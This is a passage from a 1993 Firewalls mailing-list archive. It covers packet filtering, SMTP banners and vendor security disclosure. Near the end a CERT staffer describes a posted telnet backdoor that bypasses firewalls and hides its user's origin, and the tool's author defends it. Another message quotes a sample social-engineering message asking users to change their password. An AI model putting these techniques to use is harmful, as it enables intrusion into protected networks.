it's nice to know if the target machine is a Sun running standard software, or if it's a Frobozz Systems model 2302 running Frobozz/IX version 0.4alpha... The former I can usually fix, the latter I know to ignore. -- C. Harald Koch, Network Analyst | "Do not meddle in the affairs of wizards, Alias Research Inc. Toronto, ON | for you are crunchy and taste good with chk@alias.com | ketchup." chk@gpu.utcc.utoronto.ca | -unknown From Firewalls-Owner Fri Sep 10 22:09:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23332; Fri, 10 Sep 93 22:09:01 GMT Received: from cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23325; Fri, 10 Sep 93 15:08:52 PDT Received: from cs.umb.edu by cs.umb.edu with SMTP id AA26740 (5.65c/IDA-1.4.4 for ); Fri, 10 Sep 1993 18:11:27 -0400 Message-Id: <199309102211.AA26740@cs.umb.edu> To: chk@alias.com (C. Harald Koch) Cc: firewalls@GreatCircle.COM Subject: Re: your mail In-Reply-To: Your message of "Fri, 10 Sep 1993 18:36:21 EDT." <9309102136.AA26859@dino.alias.com> Date: Fri, 10 Sep 1993 18:10:41 -0400 From: "John P. Rouillard" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309102136.AA26859@dino.alias.com>, C. Harald Koch writes: > > I never did see the value of having machine hardware and OS information > > in the DNS or WHOIS databases. > > When I'm trying to diagnose a mail delivery problem (for example) it's nice > to know if the target machine is a Sun running standard software, or if it's > a Frobozz Systems model 2302 running Frobozz/IX version 0.4alpha... Hate to break this to you, but IDA sendmail 5.65c/IDA-1.4.4 runs under Frobozz/IX version 1.0 8-). For the specific case of finding out what type of mailer they are running, I usually telnet to the smtp port directly before running vrfy/expn talking smtp direcctly or whatever. The banner gives mne more info about the possible problem than knowing what os they are running does. OB firewall hack: I really freaked out a "Unix security specialist" by looking at the smtp banner to find out he was running Ultrix after he had changed all the getty's to put out "USERNAME:" -- John John Rouillard Special Projects Volunteer University of Massachusetts at Boston rouilj@cs.umb.edu (preferred) Boston, MA, (617) 287-6480 Consulting Systems Programmer Bose rouilj@bose.com Framingham, MA (508) 879-1916 x6483 =============================================================================== My employers don't acknowledge my existence much less my opinions. From Firewalls-Owner Fri Sep 10 23:01:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23433; Fri, 10 Sep 93 23:01:38 GMT Received: from issi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23425; Fri, 10 Sep 93 16:01:29 PDT Received: from xyzzy.issi.com (xyzzy-bb.issi.com) by issi.com (4.1/3.1.012693-ISSI); id AA03172 for firewalls@greatcircle.com; Fri, 10 Sep 93 18:02:49 CDT Received: by xyzzy.issi.com (4.1/server.1.1) id AA24377; Fri, 10 Sep 93 18:03:05 CDT Date: Fri, 10 Sep 93 18:03:05 CDT From: rg@issi.com (Ron Gilmer) Message-Id: <9309102303.AA24377@xyzzy.issi.com> To: firewalls@GreatCircle.COM Subject: Packet Filtering for prospero Cc: sysadmin@issi.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm running Xarchie on Sun 4's 4.1.2 with a getway to the internet using MorningStars ppp 1.3. I have set the gateway machine up as a firewall system using the filtering capabilities of ppp. I can filter on services, inetd entries, port numbers, addresses and incoming/outgoing request. I have been trying to come up with a way to allow xarchie to pass through... but I haven't been able to figure out the port selection scheme. Any suggestions in this area would be appreciated. Thanks Ron Gilmer - Systems Administrator International Software Systems Inc. (ISSI) Voice: 512-346-2277 ext. 825 4821 Spicewood Springs Road Fax: 512-346-9452 Suite 103 email: rg@issi.com Austin, Texas 78759 From Firewalls-Owner Sat Sep 11 10:40:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA25164; Sat, 11 Sep 93 10:40:44 GMT Received: from cs.huji.ac.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA25157; Sat, 11 Sep 93 03:40:32 PDT Received: from picton.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA16085 (5.65b/HUJI 4.114); Sat, 11 Sep 93 12:43:35 +0200 Received: from localhost by picton.cs.huji.ac.il with SMTP id AA03788 (5.65c/HUJI 4.121); Sat, 11 Sep 1993 12:42:34 +0200 Message-Id: <199309111042.AA03788@picton.cs.huji.ac.il> To: rg@issi.com (Ron Gilmer) Cc: firewalls@GreatCircle.COM Subject: Re: Packet Filtering for prospero In-Reply-To: Your message of Fri, 10 Sep 93 18:03:05 CDT . <9309102303.AA24377@xyzzy.issi.com> From: Amos Shapira Date: Sat, 11 Sep 1993 12:42:30 +0200 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309102303.AA24377@xyzzy.issi.com> you write: |I'm running Xarchie on Sun 4's 4.1.2 with a getway to the internet using |MorningStars ppp 1.3. | |I have set the gateway machine up as a firewall system using the filtering |capabilities of ppp. | |I can filter on services, inetd entries, port numbers, addresses and |incoming/outgoing request. | |I have been trying to come up with a way to allow xarchie to pass through... |but I haven't been able to figure out the port selection scheme. | |Any suggestions in this area would be appreciated. | |Thanks | |Ron Gilmer - Systems Administrator International Software Systems Inc. (IS |SI) |Voice: 512-346-2277 ext. 825 4821 Spicewood Springs Road |Fax: 512-346-9452 Suite 103 |email: rg@issi.com Austin, Texas 78759 There are several methods to address this, depends on what security policy you would like to adhere to: 1. Change Xarchie to bind to UDP sockets in a particular range above 1023 and let UDP to/from this range go to/from UDP port 1525 on the outside world (or even wire-in addreses of close Archie servers). This is probebly the most secure option but it also probebly involves changing the source, so you'll to repeate the changes every time you install a new Xarchie client. 2. I think socks may support archie gateway-ing but I never used it. 3. Make ports above 1024 (except 2049 - the NFS port) reachable from the outside world. This is probebly much less secure but at least you don't have to change the source of Xarchie (and other programmes) or such. There are probebly combinations of the above aproaches. Your milage may very. --Amos --Amos Shapira (Jumper Extraordinaire) | "War does not determine who is right, C.S. System Group, Hebrew University, | but who is left" Jerusalem 91904, ISRAEL | amoss@cs.huji.ac.il | -- Anonymous? From Firewalls-Owner Sun Sep 12 08:09:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA28615; Sun, 12 Sep 93 08:09:20 GMT Received: from jpmorgan.jpmorgan.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA28608; Sun, 12 Sep 93 01:09:13 PDT Received: by jpmorgan.jpmorgan.com (5.65/fma-120691); id AA03403; Sun, 12 Sep 93 04:11:51 -0400 Received: by tcpg01a.ny.jpmorgan.com (5.65c/fma-120691); id AA26476; Sun, 12 Sep 1993 04:11:50 -0400 Message-Id: <199309120811.AA26476@tcpg01a.ny.jpmorgan.com> Date: 12 Sep 1993 04:12:12 U From: "NY Global UNIX GW" Subject: Undeliverable Mail To: Firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Unknown Microsoft mail form. Approximate representation follows. Message: Firewalls Digest V2 #164 Sent: Sat, Sep 11, 1993 4:11 AM To: Katz, S. On Server: NY Support (A-K) Date: Sun, Sep 12, 1993 4:12 AM Reason: Could not be delivered because the destination Microsoft Mail server could not be found. From Firewalls-Owner Sun Sep 12 13:06:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29182; Sun, 12 Sep 93 13:06:20 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29175; Sun, 12 Sep 93 06:06:13 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA28015; Sun, 12 Sep 93 09:08:07 -0400 Received: from magna.UUCP by uucp3.uu.net with UUCP/RMAIL (queueing-rmail) id 090629.5187; Sun, 12 Sep 1993 09:06:29 EDT Received: by magna.com (BULL 5.61++/MSC) id AA20657; Sun, 12 Sep 93 07:14:23 -0400 From: doc@magna.com (Matthew J. D'Errico) Message-Id: <9309121114.AA20657@magna.com> Subject: Re: Blocking holes vs. laying traps in them. To: anthony@aaii.oz.au (Anthony Baxter) Date: Sun, 12 Sep 1993 07:14:22 -0500 (EDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <199309101339.AA23066@eden-valley.aaii.oz.AU> from "Anthony Baxter" at Sep 10, 93 11:39:22 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 233 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Anthony Baxter wrote... > > Having just spent a bit reading Bill Cheswicks 'Evening with Berferd' > paper, [...] Where does one who's entering the fray late, get this paper ?? 'sound like interesting reading ! Regards -- -- Doc From Firewalls-Owner Sun Sep 12 14:27:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29306; Sun, 12 Sep 93 14:27:10 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29293; Sun, 12 Sep 93 07:27:02 PDT Message-Id: <9309121427.AA29293@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Sun Sep 12 10:28:47 EDT 1993 To: doc@magna.com (Matthew J. D'Errico) Cc: anthony@aaii.oz.au (Anthony Baxter), firewalls@GreatCircle.COM Subject: Re: Blocking holes vs. laying traps in them. Date: Sun, 12 Sep 93 10:28:44 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Anthony Baxter wrote... > > Having just spent a bit reading Bill Cheswicks 'Evening with Berfer d' > paper, [...] Where does one who's entering the fray late, get this paper ?? 'sound like interesting reading ! research.att.com, dist/internet_security -- there are other papers there of interest. From Firewalls-Owner Sun Sep 12 17:38:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29570; Sun, 12 Sep 93 17:38:25 GMT Received: from mail.Germany.EU.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29563; Sun, 12 Sep 93 10:38:18 PDT Received: by mail.Germany.EU.net(EUnetD-2.3.0.g) via EUnet id TM27826; Sun, 12 Sep 1993 19:38:43 +0200 Received: by tnet.de (Smail3.1.28.1 #6) id m0obrtb-0003CNC; Sun, 12 Sep 93 15:55 MET DST Message-Id: Subject: Auto-reply to: Firewalls Digest V2 #165 From: root@tnet.de (stw [autoreply]) Date: Sun, 12 Sep 1993 15:55:14 +0100 (MET DST) To: Firewalls@GreatCircle.COM X-Mailer: fastmail [version 2.4 PL21] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hallo, danke fuer die Mail, aber ich bin im Moment nicht daheim. Ich werde bis Dienstag in Nuernberg sein. Aber dann werde natuerlich SOFORT AUSFUEHRLICH antworten :o) Gruesse, Stefan --- Stefan Weiss - stw@tnet.de * ``Use email - save a tree'' ------------ TouchNET GbR, Tel: +49 89 8948033, Fax: 8948068, Email: info@tnet.de From Firewalls-Owner Sun Sep 12 14:45:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29981; Sun, 12 Sep 93 21:21:07 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA29963; Sun, 12 Sep 93 14:20:54 PDT Message-Id: <9309122120.AA29963@mycroft.GreatCircle.COM> To: smb@research.att.com Cc: doc@magna.com (Matthew J. D'Errico), anthony@aaii.oz.au (Anthony Baxter), firewalls@GreatCircle.COM Subject: Re: Blocking holes vs. laying traps in them. In-Reply-To: Your message of Sun, 12 Sep 93 10:28:44 EDT Date: Sun, 12 Sep 93 14:20:53 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # Anthony Baxter wrote... # > # > Having just spent a bit reading Bill Cheswicks 'Evening with Berfer # d' # > paper, [...] # # Where does one who's entering the fray late, get this paper ?? # # 'sound like interesting reading ! # # research.att.com, dist/internet_security -- there are other papers # there of interest. This and several other papers are also in the Firewalls FTP area. Anonymous FTP to FTP.GreatCircle.COM, directory pub/firewalls/papers. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Sun Sep 12 22:38:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00619; Sun, 12 Sep 93 22:38:38 GMT Received: from lokkur.dexter.mi.us (dexter-gw.dexter.msen.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00612; Sun, 12 Sep 93 15:38:10 PDT Received: by lokkur.dexter.mi.us (5.65c/IDA-1.2.8) id AA22216; Sun, 12 Sep 1993 18:39:12 -0400 From: Steve Simmons Message-Id: <199309122239.AA22216@lokkur.dexter.mi.us> Subject: Alternate Ports and Security To: firewalls@GreatCircle.COM Date: Sun, 12 Sep 1993 18:39:11 -0400 (EDT) X-Mailer: ELM [version 2.4 PL11] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 552 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The recent threads on packet filtering issues and use of alternate ports underscores a more general problem. Since many services are not available through well-known ports, people have gotten into the habit of using an arbitrary port number for new services. This leads to wider problems than simply security issues; we're eventually going to be negotiating a labyrinth of these suckers. Why not start using WKS records in DNS? The servers are in place, the data format is defined and at least minimally functional. It beats what we're doing now. From Firewalls-Owner Sun Sep 12 23:12:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00873; Sun, 12 Sep 93 23:12:17 GMT Received: from spider.lloyd.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00866; Sun, 12 Sep 93 16:12:11 PDT Received: from isaac.lloyd.COM by spider.lloyd.com (5.67/1.37) id AA24524; Sun, 12 Sep 93 16:14:49 -0700 Date: Sun, 12 Sep 93 16:14:49 -0700 Message-Id: <9309122314.AA24524@spider.lloyd.com> To: Firewalls@GreatCircle.COM From: brian@lloyd.com (Brian Lloyd) X-Sender: brian@spider.lloyd.com Subject: Re: Firewalls Digest V2 #163 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > There are no inherently more or less secure UNIX >systems. There are only more or less security conscious >and capable UNIX System Administrators. Security is only >automatic (some times) when the system is turned off. > > People, not machines, provide the only security. > > Shalom, > > JBB. Mr. Deane's question seems to me to be a valid one. Some versions of UNIX undoubtedly come from the box with fewer, exploitable security holes. I read Mr. Deane's question to say, "in the experience of the people on this list, which versions of UNIX permit the administrator to create the most secure system possible?" Brian Lloyd, President BP Lloyd & Associates, Inc. brian@lloyd.com 3420 Sudbury Road (916) 676-1147 - voice Cameron Park, CA 95682 (916) 676-3442 - fax From Firewalls-Owner Sun Sep 12 17:15:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01018; Sun, 12 Sep 93 23:51:47 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01010; Sun, 12 Sep 93 16:51:42 PDT Message-Id: <9309122351.AA01010@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Re: Firewalls Digest V2 #163 In-Reply-To: Your message of Sun, 12 Sep 93 16:14:49 -0700 Date: Sun, 12 Sep 93 16:51:40 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # > There are no inherently more or less secure UNIX # >systems. There are only more or less security conscious # >and capable UNIX System Administrators. Security is only # >automatic (some times) when the system is turned off. # > # > People, not machines, provide the only security. Oh, bullshit. The administrator is certainly a very important factor (perhaps even the most important at many sites), but the capability and quality of the tools that the administrator has to work with are ABSOLUTELY an issue. # Mr. Deane's question seems to me to be a valid one. Some versions of UNIX # undoubtedly come from the box with fewer, exploitable security holes. I # read Mr. Deane's question to say, "in the experience of the people on this # list, which versions of UNIX permit the administrator to create the most # secure system possible?" It's definitely a valid question. It's also one that doesn't have a simple, objective answer; the answers are all going to be complex and subjective. I think that's why nobody has answered; nobody has the time to sit down and create the in-depth response that such a question demands. One thing I will comment on while I'm up on my soapbox... I often have to correct in my clients the misconception that "if I hear about security problems and fixes in a given brand of hardware, it must be insecure, and conversely, if I don't hear about it, it must be secure". In particular, there are a couple of vendors who are the most common subjects of CERT bulletins; everybody assumes that's because those vendors are less secure than the others, when exactly the OPPOSITE is probably true. CERT and most other reputable and respected sources of security bug/fix information won't make a problem public until they've got a fix or a workaround for it. Thus, the observation that you aren't seeing bulletins concerning a particular system doesn't mean that system doesn't have any problems; it means that nobody has any SOLUTIONS to whatever problems it DOES have (and I guarantee that anything out there has SOME security problems). Which brand of UNIX to use on your bastion host is sort of a "better the devil you know" decision. I personally tend to use Suns, because I personally know more about the security problems and fixes for Suns than for any other platform. I'm sure others use DEC boxes, still others HPs, others BSDI machines, and so forth, all depending on how familiar they are with that particular platform. We all choose the devil we know. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Sep 13 00:47:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01364; Mon, 13 Sep 93 00:47:25 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01355; Sun, 12 Sep 93 17:47:12 PDT Received: from localhost.aaii.oz.AU by eden-valley.aaii.oz.AU with SMTP (5.65c/SMI-4.0/AAII) id AA13842; Mon, 13 Sep 1993 10:49:45 +1000 Message-Id: <199309130049.AA13842@eden-valley.aaii.oz.AU> To: Brent Chapman Cc: Firewalls@GreatCircle.COM Subject: Re: Firewalls Digest V2 #163 In-Reply-To: Your message of "Sun, 12 Sep 1993 16:51:40 MST." <9309122351.AA01010@mycroft.GreatCircle.COM> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 13 Sep 1993 10:49:44 +1000 From: Anthony Baxter Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk You write: > CERT and most other reputable and respected sources of security > bug/fix information won't make a problem public until they've got a > fix or a workaround for it. Thus, the observation that you aren't > seeing bulletins concerning a particular system doesn't mean that > system doesn't have any problems; it means that nobody has any > SOLUTIONS to whatever problems it DOES have (and I guarantee that > anything out there has SOME security problems). It may also mean that the vendor takes a "we'll only tell you about the fix if you ask for it first" attitude. This is something that is most annoying, and credit to Sun and Cisco, and others who are prepared to work with CERT to publicise fixes for security problems. Raspberries to those vendors that dont. Anyway, thats getting waaay offtopic for Firewalls, so I'll leave it there. ObFirewalls: On the subject of changing programs such as xarchie and friends to use a certain set of local port numbers, its not that difficult to do. I find it generally takes under 5 minutes to add this functionality to any particular program. I'm not going to re-install the software that often (maybe every couple of months or so) so this isnt really a large drain on my time. You just create a file with the tiny piece of code necessary, then link it into the right place in each program. Course, this only works if you have the source and can recompile it. Anthony. From Firewalls-Owner Mon Sep 13 06:35:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02551; Mon, 13 Sep 93 06:35:55 GMT Received: from extra.ucc.su.OZ.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02544; Sun, 12 Sep 93 23:35:46 PDT Received: from extro.ucc.su.OZ.AU by extra.ucc.su.OZ.AU with SMTP id AA09808 (5.65c/IDA-1.4.4 for ); Mon, 13 Sep 1993 16:38:18 +1000 From: Matthew Hannigan Message-Id: <199309130638.AA09808@extra.ucc.su.OZ.AU> To: firewalls@GreatCircle.COM Subject: Re: portmapper Date: Mon, 13 Sep 93 16:38:15 +1000 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk If you allow 'wall's to your machine then you might be open to the sort of attack where a message such as "Could all users change their password to "monday" for maintenance purposes Passwords may be changed back tomorrow. -- the Administrator." is sent to your machine. It might seem a bit simplistic, but this sort of message has worked before -- at least from faked mail. -- Matt Hannigan From Firewalls-Owner Mon Sep 13 08:12:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02774; Mon, 13 Sep 93 08:12:11 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02767; Mon, 13 Sep 93 01:12:01 PDT Message-Id: <9309130812.AA02767@mycroft.GreatCircle.COM> Received: by coombs.anu.edu.au (1.37.109.4/16.2) id AA05322; Mon, 13 Sep 93 18:11:48 +1000 From: Darren Reed Subject: Re: Blocking holes vs. laying traps in them. To: brent@GreatCircle.COM (Brent Chapman) Date: Mon, 13 Sep 1993 18:11:47 +1000 (EST) Cc: firewalls@GreatCircle.COM, doc@magna.com, anthony@aaii.oz.au In-Reply-To: <9309122120.AA29963@mycroft.GreatCircle.COM> from "Brent Chapman" at Sep 12, 93 02:20:53 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1102 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > # Anthony Baxter wrote... > # > > # > Having just spent a bit reading Bill Cheswicks 'Evening with Berfer > # d' > # > paper, [...] > # > # Where does one who's entering the fray late, get this paper ?? > # > # 'sound like interesting reading ! > # > # research.att.com, dist/internet_security -- there are other papers > # there of interest. > > This and several other papers are also in the Firewalls FTP area. > Anonymous FTP to FTP.GreatCircle.COM, directory pub/firewalls/papers. If you ever do an FAQ or similar, I've tried to gather together various files related to networking on the InterNet in /pub/net/* on coombs.anu.edu.au. Most (if not all) the papers I've seen mentioned here on firewalls I've put into /pub/net/papers Amongst the other directories are items related to firewalling & security but due to those being rather "general" topics, I've tried to split it up further (as shown below). Darren coombs.anu.edu.au:/pub/net: ./ PC/ analyzers/ kernel/ misc/ pc/ ../ TAMU/ ident/ log/ papers/ proxy/ From Firewalls-Owner Mon Sep 13 11:11:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03250; Mon, 13 Sep 93 11:11:46 GMT Received: from post.demon.co.uk by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AB03226; Mon, 13 Sep 93 04:11:22 PDT Received: from demon.demon.co.uk by post.demon.co.uk id ah02390; 13 Sep 93 12:06 BST Received: from cellnet.uucp by demon.demon.co.uk id aa17942; 13 Sep 93 10:44 BST From: Steve Kennedy Message-Id: <467.9309130901@marvin.gbnet.org> Subject: Re: Firewalls Digest V2 #163 To: aaii.oz.au!anthony@gbnet.org Date: Mon, 13 Sep 93 9:01:57 GMT Cc: greatcircle.com!brent@gbnet.org, greatcircle.com!Firewalls@gbnet.org In-Reply-To: <199309130049.AA13842@eden-valley.aaii.oz.AU>; from "Anthony Baxter" at Sep 13, 93 10:49 am X-Subliminal-Message: Send large quantities of used bills. X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > You write: > > CERT and most other reputable and respected sources of security ... > > anything out there has SOME security problems). > > It may also mean that the vendor takes a "we'll only tell you about the > fix if you ask for it first" attitude. This is something that is most > annoying, and credit to Sun and Cisco, and others who are prepared to I have come across this very situation with a problem with HP-UX v8. The problem was not in v7 and is not in v9. HP's attitude was that it wasn't a 'supported' thing to do, and HP-UX didn't come with any of the things that may cause the problem ... end of story. CERT are aware of the problem ... HP said as it was unsupported they had NO plans to fix it and waituntil HP=UX v9 when it wasn't there anyway ... Steve -- ___ |_ ___ ___ Tel: +44 (0)71 483 1169 Voice (___ | (___) \ / (___) Data: 483 2454 WorldBlazer T3000 PEP+/v32bis... ___) | (___ \/ (___ Data: 483 2455 WorldBlazer T3000 V32bis/PEP+... ISDN: 722 7969/70 Email Snail Mail steve@gbnet.{org,com,net} [home] Steve Kennedy steve@marvin.demon.co.uk [DIS dialup internet] Flat 2, 43 Howitt Rd stevek@cellnet.co.uk [work] London, NW3 4LU From Firewalls-Owner Mon Sep 13 11:18:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03272; Mon, 13 Sep 93 11:18:07 GMT Received: from cairo.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03265; Mon, 13 Sep 93 04:17:55 PDT Received: by cairo.anu.edu.au id AA00843 (5.65c8/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 13 Sep 1993 21:20:32 +1000 From: Mark Message-Id: <199309131120.AA00843@cairo.anu.edu.au> Subject: recently posted telnet code. To: ecd@cert.org Date: Mon, 13 Sep 93 21:20:31 EST Cc: firewalls@GreatCircle.COM, first-reps@first.org, nsi-cert@nsipo.arc.nasa.gov Reply-To: mark@blackplague.gmu.edu Reply-To: mark@cheops.anu.edu.au X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi all, This was sent to me, I'll send it back to the same lists... >From: Edward DeHart >To: first-reps@first.org >Subject: backdoor program >Cc: nsi-cert@nsipo.arc.nasa.gov >The following message was posted to the Firewalls mailing list and to the >alt.sources netnews group. The message included the source to a program >that allows any user (not just root) to circumvent most network firewalls. Granted that is true, tho it didnt occur to me :) My uses are much more benign. >I did test the program by running it on my workstation. Using a computer >located at another facility, I was able to bypass our security and telnet >into my workstation. The program permitted me to log into other CERT systems >hiding behind our firewall. The program also permitted me to log into a >workstation outside of our CERT network. Hmm interesting. I was under the impression you guys used a form of des encryption internally. Are you seriously saying a little program like that is all thats needed to wander in? Sheesh, it's been in circulation for years, apart from the mods I did to it. >This program uses an non-privileged port (above 1023) which isn't a new >technique. It is easy to find, install, and use by users and intruders. It was designed to be useful and installable. I too hate "it wont compile" whiners mailing me. > 1) the program has wide distribution > 2) anyone can install it > 3) the program does not log any of its activities See below. > 4) allows user to bypass security implemented via network firewalls Unfortunate side effect of your setup. > 5) allows user to bypass TCP daemon wrappers A design criteria, but not for the reasons I assume your assuming :) > 6) allows user to hide tracks by looping through another site Another design criteria >Ed Choice, first reaction Ive heard about it, apart from "Thanks". As you might have read in the credits I left in the header, it's not new and it's been in circulation for many years, be it in a slightly more unfriendly form. It's a basic tool IMHO. Currently I have more "bouncers" than a wet tshirt competition, (apologies to anyone offended by that), which are for my own use (which is why there is a password option (need to turn off echo I think)) for basically, privacy reasons. This is a small tool Ive developed or am developing to preserve my inet privacy, this one just denies busy bodies the information of my true origin. At the moment Im working on some other stuff in a non connected net which incorporates udp telnet as it were, with all the usual things like udp/tcp bouncers from each server, des encryption of data, bouncing off other machines echo ports if you have uid 0 to do it and the option of a shell at each. As you can imagine, porting is a pain and thats the only hold up so far. Those who know about it keep hounding me for source but my usual reply is "watch for it in alt.sources or comp.sources.misc" .. even Alec Muffett has been told that :) and he's the c.s.m moderator Im going to post thru. If you want, treat this as another "heads up" post, but my view is this stuff is already out there and has been for years. Im just bothering to put it into something useful for my own personal uses. I dont believe in hording code if it might prove useful to others, except if I dont see any value in the release, i.e. programs that are fundamentally dangerous. Little telnet things like the above _can_ be problematic if used in the wrong way by an individual or group with misguided motives, but it can provide decent privacy for a vast amount of others so they can inet in peace and privacy. Back to the shell prompt, have fun y'all. Mark mark@blackplague.gmu.edu mark@cairo.anu.edu.au mark@gnu.ai.mit.edu Better add this: The above are my opinions and nothing to do with any other organisation or individual. If you dont like the content, talk to me, not them. Sentence overrun flames to /dev/null. From Firewalls-Owner Mon Sep 13 13:48:18 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03616; Mon, 13 Sep 93 13:48:18 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03609; Mon, 13 Sep 93 06:48:12 PDT Message-Id: <9309131348.AA03609@mycroft.GreatCircle.COM> From: ches@research.att.com Date: Mon, 13 Sep 93 09:47:05 EDT To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > "Could all users change their password > to "monday" for maintenance purposes > > Passwords may be changed back tomorrow. This is one of the reasons we don't use passwords for incoming telnet access. From Firewalls-Owner Mon Sep 13 14:09:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03660; Mon, 13 Sep 93 14:09:50 GMT Received: from cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03652; Mon, 13 Sep 93 07:09:39 PDT Received: from cs.umb.edu by cs.umb.edu with SMTP id AA20271 (5.65c/IDA-1.4.4 for ); Mon, 13 Sep 1993 10:12:07 -0400 Message-Id: <199309131412.AA20271@cs.umb.edu> To: mark@blackplague.gmu.edu, mark@cheops.anu.edu.au Cc: firewalls@GreatCircle.COM, first-reps@first.org, nsi-cert@nsipo.arc.nasa.gov Subject: Re: recently posted telnet code. In-Reply-To: Your message of "Mon, 13 Sep 1993 21:20:31 EST." <199309131120.AA00843@cairo.anu.edu.au> Date: Mon, 13 Sep 1993 10:12:06 -0400 From: "John P. Rouillard" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <199309131120.AA00843@cairo.anu.edu.au>, Mark writes: > > Hi all, > This was sent to me, I'll send it back to the same lists... > > >From: Edward DeHart > >To: first-reps@first.org > >Subject: backdoor program > >Cc: nsi-cert@nsipo.arc.nasa.gov > > >The following message was posted to the Firewalls mailing list and to the > >alt.sources netnews group. The message included the source to a program > >that allows any user (not just root) to circumvent most network firewalls. > > Granted that is true, tho it didnt occur to me :) My uses are much > more benign. > > >I did test the program by running it on my workstation. Using a computer > >located at another facility, I was able to bypass our security and telnet > >into my workstation. The program permitted me to log into other CERT > >systems hiding 